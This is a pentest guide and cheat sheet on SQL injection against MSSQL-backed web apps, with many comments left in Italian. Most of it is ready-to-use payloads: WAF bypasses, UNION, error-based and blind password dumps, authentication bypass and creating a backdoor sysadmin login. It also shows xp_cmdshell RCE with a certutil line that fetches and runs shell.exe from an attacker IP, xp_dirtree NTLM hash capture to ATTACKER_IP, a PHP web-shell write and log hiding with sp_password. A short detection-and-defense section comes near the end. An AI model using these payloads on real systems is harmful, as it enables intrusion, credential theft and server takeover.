SQL Injection MSSQL: UNION, Blind, Stacked, RCE, Payload

Pentest SQL Injection MSSQL: identify quotes, exploit UNION/blind/time-based/stacked/error-based, bypass WAF, RCE via xp_cmdshell, NTLM hash, linked server.
- Posted on 2026-07-11
- Reading time: 13 min
SQL Injection MSSQL: Identification, UNION, Blind, Time-Based, Stacked Query, RCE and Payload #
A web app that uses MSSQL as a backend and doesn't sanitize input is a direct gateway to the database—and, with the right syntax, often to the underlying operating system as well. This guide only covers the web side (parameters, forms, HTTP headers): for direct access to the instance via port 1433, please refer to the dedicated guide on Pentesting MSSQL on Port 1433.
What you will learn:
- How to tell if a parameter is vulnerable to quotes and single quotes
- The correct syntax for comments, terminators, and null bytes in MSSQL
- How to confirm that the DBMS is MSSQL and not another one
- All the payload variations to try when the basic one doesn't work
- How to dump data with UNION, error-based, blind and stacked queries
- How to bypass filters and WAFs (HPP, encoding, JSON, headers)
- How to get to RCE with xp_cmdshell from a web SQLi
- How to detect and defend against these attacks (blue team side)
Prerequisites:
| What is needed | Why |
|---|---|
| A proxy like Burp Suite | To intercept and modify requests |
| SQL Basics | To understand what you are injecting and why |
| Authorized test environment (HTB, lab, CTF) | Every technique here is didactic |
1. Identify the Vulnerable Point #
The web parameter ends up in a server-side query, like:
SELECT * FROM products WHERE name = 'INPUT'To determine if it is vulnerable, try breaking the syntax with special characters and observe the response.
This is exactly what happens programmatically when input is not sanitized:
Initial test #
'
''
"
' OR '1'='1
' AND '1'='1
' AND '1'='2
1 AND 1=1
1 AND 1=2Interpret the answer #
| What do you see? | Meaning |
|---|---|
SQL Error (Incorrect syntax near..., Unclosed quotation mark) | Injection confirmed — error-based possible |
Different page between AND 1=1 e AND 1=2 | Boolean blind confirmed |
Delay 5+ seconds with WAITFOR DELAY | Time-based blind confirmed |
| No difference with any payload | Active WAF or non-injectable parameter |
| Generic HTTP Error 500 | Injection likely, but details are hidden (error handling active) |
Typical MSSQL error messages #
If your app exposes database errors (often in dev or with debug enabled), these tests confirm MSSQL:
Incorrect syntax near '...'.
Unclosed quotation mark after the character string '...'.
The conversion of the varchar value '...' to data type int resulted in an out-of-range value.Identify the parameter context #
Prova: ' → errore syntax
Prova: '' → errore sparisce → contesto stringa semplice
Prova: ') → errore sparisce → contesto con parentesi
Prova: ')) → errore sparisce → doppia parentesi
Prova: 1 → nessun errore → intero (nessun apice)2. Syntax: Quotes, Comments, and Terminators #
The single apex '
#
Injecting ' close string prematurely → SQL error → injection confirmed.
Comments: --, -- -, --+
#
After the payload you need to comment out the rest of the original query. -- in SQL it technically requires a space after to be valid (-- ).
| Comment | operation | When to use it |
|---|---|---|
-- | It works on MSSQL even without space | Default |
-- - | -- + space + - → guaranteed space | When -- is truncated or filtered |
--+ | In URL + = space → becomes -- | GET parameters in URL |
/* */ | Inline comment (C-style) | Bypass filters on spaces and keywords |
;%00 | Null byte as terminator | Some parsers cut the query there |
Rule of thumb: uses -- - in the body POST via Burp, --+ in the GET URL parameters.
The semicolon ;
#
Closes the current statement and opens the next one. Required for stacked queries and stored procedures:
' → chiude la stringa
; payload → nuovo statement
;-- - → chiude il nuovo statement e commenta il restoCorrect structure for stacked queries via the web:
'; EXEC xp_cmdshell 'whoami';-- -
^^ ^^
chiude stringa chiude statement + commentaAND vs. OR #
| Operator | Effect | When to use it |
|---|---|---|
' AND 1=1-- - | Keeps the original filter | Boolean blind, UNION |
' AND 1=2-- - | Strength FALSE | Blind Discriminator Check |
' OR 1=1-- - | Bypass all filters | Authentication bypass — generates a lot of noise |
3. Fingerprinting: Confirm it's MSSQL #
Before using MSSQL-specific payloads, identify your DBMS — getting this wrong will waste your time with incorrect syntax.
Time-based (the most reliable method) #
Each DB has its own delay function — it's the only test that doesn't depend on visible error messages:
-- MSSQL → WAITFOR DELAY (esclusivo, non esiste su nessun altro DBMS)
'; WAITFOR DELAY '0:0:5';-- -
-- MySQL/MariaDB → SLEEP
' AND SLEEP(5)-- -
-- PostgreSQL → pg_sleep
' AND pg_sleep(5)>0-- -
-- Oracle → DBMS_PIPE
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -If with WAITFOR DELAY the server responds after 5 seconds → you are on MSSQL, stop.
Confirm with unique MSSQL functions #
' AND @@CONNECTIONS>0-- - → solo MSSQL
' AND BINARY_CHECKSUM(1)=BINARY_CHECKSUM(1)-- - → solo MSSQL
' AND 1=CONVERT(int,@@VERSION)-- - → errore con versione MSSQL nel testo
' AND @@VERSION LIKE '%Microsoft SQL Server%'-- - → TRUE solo su MSSQL4. Default Database to Ignore #
When you enumerate databases during a SQLi, they are always present regardless of the application — don't waste time searching for data in there.
| Name | Present your |
|---|---|
master | All versions |
model | All versions |
msdb | All versions |
tempdb | All versions |
northwind | All versions (demo DB) |
pubs | Only versions prior to MSSQL 2005 |
5. Variants to Try When the Payload Doesn't Work #
In a real test ' UNION SELECT 1,2,3-- - It almost never works on the first try. Follow this order:
1. Identifica il contesto del parametro (sezione 1)
2. Prova la variante di commento giusta (sezione 2)
3. Prova UNION SELECT
4. Se UNION non va → prova error-based o blind
5. Se stacked funziona → prova xp_dirtree e poi xp_cmdshellVariants by context #
For simple string :
' UNION SELECT 1,2,3-- -
' UNION SELECT 1,2,3--+
' UNION SELECT NULL,NULL,NULL-- -
' UNION ALL SELECT 1,2,3-- -For parameter with parentheses :
') UNION SELECT 1,2,3-- -
')) UNION SELECT 1,2,3-- -For stacked queries (note the ; final before the comment):
'; SELECT 1;-- -
'; WAITFOR DELAY '0:0:5';-- -For numeric parameter (no superscript):
1 UNION SELECT 1,2,3-- -
1 AND 1=1-- -
1; WAITFOR DELAY '0:0:5';-- -Bypass spaces and keywords filtered by a WAF #
-- Commento inline al posto degli spazi
'/**/UNION/**/SELECT/**/1,2,3-- -
-- URL encoding (GET)
'+UNION+SELECT+1,2,3-- -
'%09UNION%09SELECT%091,2,3-- - (TAB)
'%0aUNION%0aSELECT%0a1,2,3-- - (newline)
'%a0UNION%a0SELECT%a01,2,3-- - (non-breaking space, MSSQL la tratta come spazio)
-- Case mixing
' UnIoN SeLeCt 1,2,3-- -
-- Varianti UNION (bypass regex su "union select")
' UNION ALL SELECT 1,2,3-- -
' UNION DISTINCT SELECT 1,2,3-- -
' UNION/**/SELECT 1,2,3-- -
-- Spezza la keyword con concatenazione dinamica (bypass blacklist testuale)
'; DECLARE @q NVARCHAR(100)='UNI'+'ON SEL'+'ECT 1,2,3';EXEC(@q);-- -MSSQL considers only the ASCII characters 0x01–0x1F and 0x20 to be whitespace — unlike MySQL, it has no additional “exotic” whitespace, so encoding-based bypasses work in a narrower set of variants.
Advanced WAF Bypass Techniques #
HTTP Parameter Pollution (HPP): If the app concatenates two parameters in the same query, it splits the payload between the two — the WAF inspects each parameter individually:
?year=1 UNION SELECT /*&month=*/ 1,2,3-- -JSON-based bypass: Many WAFs don't inspect JSON syntax in SQL queries. MSSQL has supported JSON since 2016.
' AND JSON_VALUE('{"a":1}','$.a')=1 UNION SELECT 1,2,3-- -HTTP header injection: If your app logs or uses headers in SQL queries, WAFs often inspect them less than the body:
X-Forwarded-For: 1' UNION SELECT 1,2,3-- -
User-Agent: ' UNION SELECT 1,2,3-- -sqlmap — tamper for MSSQL with WAF:
sqlmap -r req.txt -p id --dbms=mssql --tamper=space2mssqlblank,charencode,randomcaseBypass quote filters: hexadecimal encoding #
If the WAF specifically blocks the character ', you can avoid this altogether by passing strings as hexadecimal literals — MSSQL automatically converts them if preceded by 0x:
-- Invece di 'admin' scrivi il suo valore esadecimale
1; EXEC(0x73656C65637420404076657273696F6E)-- -Useful only in contexts where the parameter accepts an integer value or where you build the query dynamically with EXEC() — in the classic string context (WHERE name = 'INPUT') does not replace the closing apex, which is still necessary.
6. UNION-Based: Visual Data Dump #
Find the number of columns — all variants #
-- ORDER BY, incrementale (errore quando superi le colonne reali)
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -
' ORDER BY 5-- -
...
' ORDER BY 100-- -
-- ORDER BY con parentesi (contesto diverso)
') ORDER BY 1-- -
-- ORDER BY numerico (parametro senza apici)
1 ORDER BY 1-- -
-- UNION NULL, incrementale (type-safe, funziona sempre anche senza errori visibili)
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL-- -
-- Con interi, se le colonne accettano tipi numerici
' UNION SELECT 1-- -
' UNION SELECT 1,2-- -
' UNION SELECT 1,2,3-- -How to interpret ORDER BY: se ORDER BY 6 it does not give any error and ORDER BY 7 generates Invalid column index (or similar) → the query has exactly 6 columnsYour UNION must have the same number of values, otherwise the error is All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
Find the column visible on the screen #
' UNION SELECT 'hackita',NULL,NULL-- -
' UNION SELECT NULL,'hackita',NULL-- -When “hackita” appears on the page → that is the column you use to extract the data.
Practical flow: from zero to dump #
Column 2 confirmed, 6 columns total.
-- Database
' UNION SELECT NULL,name,NULL,NULL,NULL,NULL FROM master..sysdatabases-- -
-- Tabelle del DB trovato
' UNION SELECT NULL,table_name,NULL,NULL,NULL,NULL FROM NomeDB.information_schema.tables-- -
-- Colonne della tabella
' UNION SELECT NULL,column_name,NULL,NULL,NULL,NULL FROM NomeDB.information_schema.columns WHERE table_name='users'-- -
-- Dati, tutti concatenati in un blocco unico
' UNION SELECT NULL,(SELECT username+':'+password+' | ' FROM NomeDB..users FOR XML PATH('')),NULL,NULL,NULL,NULL-- -Typical error: to write
SELECT name, FROM tabellawith a comma before FROM. The correct structure is alwaysSELECT val1, val2, val3 FROM tabella— the FROM statement comes after all values, never in between.
7. Error-Based: Let Errors Speak #
Useful when the query result is never shown on the screen, but the errors are.
-- CONVERT (il più usato)
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))-- -
' AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~'))-- -
-- CAST
' AND 1=CAST((SELECT TOP 1 name FROM master..sysdatabases) AS int)-- -
-- Tutti i DB in una riga
' AND 1=CAST((SELECT (SELECT name+' ' FROM master..sysdatabases FOR XML PATH(''))) AS int)-- -The error returned will contain your data:
Conversion failed when converting the varchar value 'master tempdb model msdb' to data type int.ORDER BY injection #
When the injectable point is in the clause ORDER BY, UNION doesn't work — use error-based:
ORDER BY 1,CONVERT(int,@@VERSION)-- -
ORDER BY (SELECT TOP 1 name FROM master..sysdatabases)-- -8. Blind SQL Injection: Boolean and Time-Based #
Boolean Blind #
Page that does not show SQL data but switches behavior between TRUE and FALSE.
-- Conferma discriminatore
' AND 1=1-- - → pagina normale (TRUE)
' AND 1=2-- - → pagina diversa (FALSE)
-- Lunghezza del dato
' AND LEN((SELECT TOP 1 name FROM master..sysdatabases))=6-- -
-- Carattere per carattere
' AND SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases),1,1)='m'-- -
-- Con ASCII + binary search (più veloce in automazione)
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases),1,1))>64-- -
-- Dump password
' AND SUBSTRING((SELECT TOP 1 password FROM NomeDB..users),1,1)='a'-- -Time-Based Blind #
Even when the page behavior is identical in every case — the only sign is the response time.
-- Conferma — varianti da provare in base al contesto
'; IF(1=1) WAITFOR DELAY '0:0:5';-- -
ProductID=1'; WAITFOR DELAY '0:0:5';-- -
ProductID=1); WAITFOR DELAY '0:0:5';-- -
-- Estrai carattere per carattere
'; IF(ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases),1,1))=109) WAITFOR DELAY '0:0:5';-- -
-- Verifica sysadmin
'; IF(IS_SRVROLEMEMBER('sysadmin')=1) WAITFOR DELAY '0:0:5';-- -To automate use sqlmap with --technique=B --time-sec=5 --threads=1 — multiple time-based threads generate false positives.
9. Stacked Queries: Multiple Statements #
MSSQL natively supports multiple statements separated by ; in the same request — this is one of the reasons why it is more dangerous than MySQL on this front (MySQL usually blocks stacked queries on the driver side).
-- Conferma (nota il ; finale prima del commento)
'; SELECT 1;-- -
-- Bypass blacklist testuale con variabile
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'whoami';-- -
-- Scrivi su tabella temporanea poi leggi con UNION
'; CREATE TABLE #tmp (data VARCHAR(1000)); INSERT INTO #tmp SELECT name FROM master..sysdatabases;-- -
' UNION SELECT NULL,(SELECT TOP 1 data FROM #tmp),NULL-- -
-- Modifica diretta di dati (es. reset password admin)
'; UPDATE users SET password='hackita123' WHERE username='admin';-- -
-- Se sei sysadmin, crea un login con privilegi elevati direttamente dalla injection
'; CREATE LOGIN backdoor WITH PASSWORD='P@ssw0rd123!'; EXEC sp_addsrvrolemember 'backdoor','sysadmin';-- -10. Authentication Bypass #
If the injectable parameter is in the login form, you can bypass authentication without knowing the password:
' OR '1'='1
' OR 1=1-- -
admin'-- -
admin' AND 1=0 UNION ALL SELECT 'admin','161ebd7d45089b3446ee4e0d86dbcf92'-- -The last example also injects a known MD5 hash (of P@ssw0rd) instead of the password — only works if the app compares a plain MD5 without salt, which is rare in 2026.
Attention:
' OR 1=1--Matches the query against every row in the table. If the app expects only one result, it often throws a server-side error instead of logging you in—in that case, tryadmin'--to authenticate yourself as a specific user without knowing their password.
10b. Impersonating Other Users via SQLi #
If stacked queries work, you can change the connection's security context without knowing any passwords—useful when the web connection user has low permissions but a more privileged login exists on the same server.
-- Chi puoi impersonare? (richiede che qualcuno ti abbia dato IMPERSONATE)
'; SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id=b.principal_id WHERE a.permission_name='IMPERSONATE';-- -
-- Impersona un login (server-level)
'; EXECUTE AS LOGIN='sa'; SELECT SYSTEM_USER;-- -
-- Impersona un utente (database-level, permesso IMPERSONATE più comune qui)
'; EXECUTE AS USER='dbo'; SELECT USER_NAME();-- -
-- Torna al contesto originale
'; REVERT;-- -From a web SQLi these commands do not return direct output (unless you combine them with UNION or error-based read SYSTEM_USER) — are mainly used to execute commands subsequent ones in the same stacked session with the highest privileges of the impersonated user.
11. Second-Order SQL Injection #
A payload can be saved harmlessly (e.g., in a profile or comment field) and then executed later, when that data is reused in another query without being re-sanitized:
1. L'utente si registra con username: admin'--
2. L'app salva la stringa così com'è nel database
3. In un secondo momento l'app costruisce una query tipo:
SELECT * FROM users WHERE username = 'admin'--' AND ...
4. Il commento `--` tagliato dal valore salvato altera la query originaleIt should be searched anywhere a saved input is later reused in a query other than the one it was inserted in — user profiles, comments, file names.
12. Reading and Writing Files via SQLi #
-- Lettura (richiede ADMINISTER BULK OPERATIONS)
-1 UNION SELECT NULL,(SELECT x FROM OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),NULL-- -
-- Scrittura, se l'app ha una stored procedure custom per farlo
'; EXEC spWriteStringToFile '<?php echo shell_exec($_GET["c"]);?>','C:\inetpub\wwwroot\','shell.php';-- -The write depends on an application-specific stored procedure — it's not native to MSSQL, look for it first in the custom procedures enumeration.
13. RCE with xp_cmdshell #
If stacked queries are working and you are a sysadmin, you can enable and run OS commands directly from SQLi:
'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- -
'; EXEC master..xp_cmdshell 'whoami';-- -
'; EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://10.10.14.123/shell.exe C:\Windows\Temp\s.exe && C:\Windows\Temp\s.exe';-- -For the complete list of alternative methods (OLE Automation, Python, CLR) when xp_cmdshell is too noisy or disabled, see the dedicated section in the MSSQL port 1433 guide.
14. Hash Capture and Linked Server via SQLi #
Even without a sysadmin, a stacked query can force the MSSQL service to expose the NTLM hash of its service account:
'; EXEC master.dbo.xp_dirtree '\\10.10.14.123\share';-- -Capture the hash with Reply listening (sudo responder -I tun0 -v), then crack it with hashcat in 5600 mode.
If your firewall blocks outgoing SMB, use DNS exfiltration instead of xp_dirtree, and if your instance has linked servers configured you can traverse them with EXECUTE ... AT — both techniques, with all the details, are in the MSSQL port 1433 guide, because once inside the DB the rest of the attack no longer depends on whether you got there via the web or via a direct connection.
Dump all passwords, not just the first one #
Examples with TOP 1 The previous sections are for confirmation of the technique — in a real dump you want all the lines, not just the first. With UNION, this is already automatic (SELECT username,password FROM users returns all rows); with error-based or blind, where the output channel is limited to one value at a time, concatenate everything into a single string:
-- Tutti gli utenti e le password concatenati in un blocco unico (via UNION, XML PATH)
' UNION SELECT NULL,(SELECT username+':'+password+' | ' FROM users FOR XML PATH(''))-- -
-- Se hai sysadmin, dump diretto degli hash di sistema invece dei dati applicativi
' UNION SELECT NULL,(SELECT name+'-'+master.sys.fn_varbintohexstr(password_hash)+' | ' FROM master.sys.sql_logins FOR XML PATH(''))-- -The second payload gives you the hashes of the SQL Server logins themselves (not the app users)—useful for lateral movement if reused elsewhere. The hash format varies by version; see the full hashcat modes (131/132/1731) table in the port 1433 guide.
Enumerate domain users by SID (without xp_cmdshell) #
If the server is joined to Active Directory, you can enumerate domain users by querying only SQL functions — no sysadmin or xp_cmdshell needed:
-- 1. Ottieni il nome del dominio
' UNION SELECT NULL,DEFAULT_DOMAIN()-- -
-- 2. Ottieni il SID di un account noto (es. Administrator) in formato esadecimale
' UNION SELECT NULL,master.dbo.fn_varbintohexstr(SUSER_SID('DOMINIO\Administrator'))-- -The result is like this 0x0105000000000005150000...0000f401. The last 4 bytes (f401 = 500 in little endian) are the RID (Relative ID) of the user — 500 It's always the Administrator. Everything else in the string is the domain SID, which is constant for each account.
-- 3. Ricostruisci un SID con RID diverso e risolvilo a un nome utente
' UNION SELECT NULL,SUSER_SNAME(SID_BINARY(N'S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-1000'))-- -By iterating the RID from 1000 onwards (the first “regular”, non-system” user IDs) you progressively get all the usernames of the domain — the same RID-brute logic used by nxc mssql --rid-brute, but performed entirely via SQL injection, without touching SMB. Every username found is ripe material for password spray or for Kerberoasting/AS-REP roasting.
15. OPSEC: Hiding the Payload from the Logs #
By adding sp_password At the end of a query, SQL Server automatically replaces the text in the logs with a generic placeholder, designed to prevent passwords from ending up in the logs in clear text:
' AND 1=1--sp_passwordOnly the following will appear in the server logs:
'sp_password' was found in the text of this event.
The text has been replaced with this comment for security reasons.A blue team should therefore be wary of events with obscured text without an apparent password in the original query—it's an indicator, not a harmless error.
16. Detection and Defense #
| Connection | How to detect it | How to mitigate it |
|---|---|---|
| Testing for quotes/syntax errors | Repeated SQL errors in application logs from the same IP | Parameterized Queries (Prepared Statements) — The Only Defense That Actually Works |
| UNION-based | Query with abnormal number of columns or UNION in WAF logs | Input validation, allow-list on numeric/enum parameters |
| Time-based blind | Requests with abnormal and repeated response times | Rate limiting, alerts on patterns of identical requests at intervals |
| Stacked queries | Query with ; multiples in logs, especially towards xp_cmdshell o sp_configure | Disable driver-side stacked queries if the framework allows it, least privilege principle on the application account |
sp_password to hide logs | Events with obscured text without password context | Correlate with other signals (IP, user-agent, frequency) instead of just relying on the log text |
| xp_dirtree / hash capture | Abnormal outgoing SMB traffic | Block outgoing SMB, disable xp_dirtree if not necessary |
The basic defense remains the same: parameterized queries everywhere , never string concatenation with user input. Everything else (WAF, allow-list, least privilege) is an additional layer, not a replacement.
Vulnerable (direct chaining):
query = "SELECT * FROM users WHERE username = '" + username + "'"
cursor.execute(query)Safe (parameterized query):
query = "SELECT * FROM users WHERE username = ?"
cursor.execute(query, (username,))With the second version, the driver sends the value separately from the query structure — a single quote in the input remains a simple character, it never manages to “break out” of the string context.
17. Troubleshooting #
| Problem | Cause | Solution |
|---|---|---|
Error with ' but not '' | String confirmed | Try it now '-- -, ')-- -, '))-- - |
| UNION works but no output | Wrong visible column | Try it now 'hackita' in every position |
| sqlmap does not fingerprint | WAF blocks MSSQL queries | --string="val" --flush-session --no-cast |
| Stacked queries do not execute | App/driver does not support multi-statement | Use only UNION or error-based |
WAITFOR without observable delay | App uses low timeout or connection pooling | Increase to 10-15 seconds, verify that the request is synchronous |
18. FAQ #
How do I know if it's MSSQL and not MySQL?
Usa ' AND @@CONNECTIONS>0-- - (MSSQL only) — If MySQL, this function does not exist and throws an error.
-- - e -- are they identical?
Almost. -- requires a space after per SQL standard. -- - è -- + space + - — the space guarantees validity on all parsers, even the most permissive ones of MSSQL.
When it is NOT a good idea to use ' OR 1=1--?
When the app expects only one result from the query: in that case it throws an error instead of authenticating you. Use admin'-- to target a specific user.
Do stacked queries always work on MSSQL? It depends on the driver/framework used by the app, not just the database—some drivers (e.g., certain ORMs) block multi-statement even though MSSQL supports it.
Can I get to RCE with just SQL Injection?
Yes, if stacked queries work and the connection user is sysadmin: enable xp_cmdshell and execute commands directly from the injection.
19. Final Cheat Sheet #
=== IDENTIFICAZIONE ===
' '' " ' OR '1'='1 ' AND 1=1-- - ' AND 1=2-- -
=== FINGERPRINT MSSQL ===
'; WAITFOR DELAY '0:0:5';-- -
' AND @@CONNECTIONS>0-- -
sqlmap -u "URL" --dbms=mssql --banner
=== COMMENTI ===
POST/Burp: -- -
GET URL: --+
Spazi: /**/ al posto degli spazi
=== VARIANTI DA PROVARE (in ordine) ===
' UNION SELECT 1,2,3-- -
') UNION SELECT 1,2,3-- -
' UNION SELECT NULL,NULL,NULL-- -
'/**/UNION/**/SELECT/**/1,2,3-- -
'; SELECT 1;-- - (conferma stacked)
=== UNION ===
Colonne: ' ORDER BY N-- -
Visibile: ' UNION SELECT 'hackita',NULL,NULL-- -
DB: FROM master..sysdatabases
Tabelle: FROM NomeDB.information_schema.tables
Colonne: FROM NomeDB.information_schema.columns WHERE table_name='X'
Dump: SELECT col1+':'+col2 FROM DB..Table FOR XML PATH('')
=== ERROR-BASED ===
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))-- -
=== BLIND ===
Boolean: ' AND SUBSTRING((SELECT...),1,1)='m'-- -
Time: '; IF(ASCII(SUBSTRING((SELECT...),1,1))=109) WAITFOR DELAY '0:0:5';-- -
=== STACKED → RCE ===
'; EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- -
'; EXEC master..xp_cmdshell 'whoami';-- -
=== HASH CAPTURE ===
'; EXEC xp_dirtree '\\ATTACKER_IP\share';-- -
→ responder -I tun0 -v → hashcat -m 5600
=== OPSEC ===
Nascondi dai log: payload--sp_passwordReferences #
Related guides on hackita.it:
- MSSQL Pentesting: Enumeration and Attack on Port 1433
- sqlmap: Complete Guide
- Blind SQL Injection and Automation with Python
- Responder: Hash Capture and NTLM Relay
- Burp Suite: Intercept and Modify HTTP Requests
For use in authorized environments only.








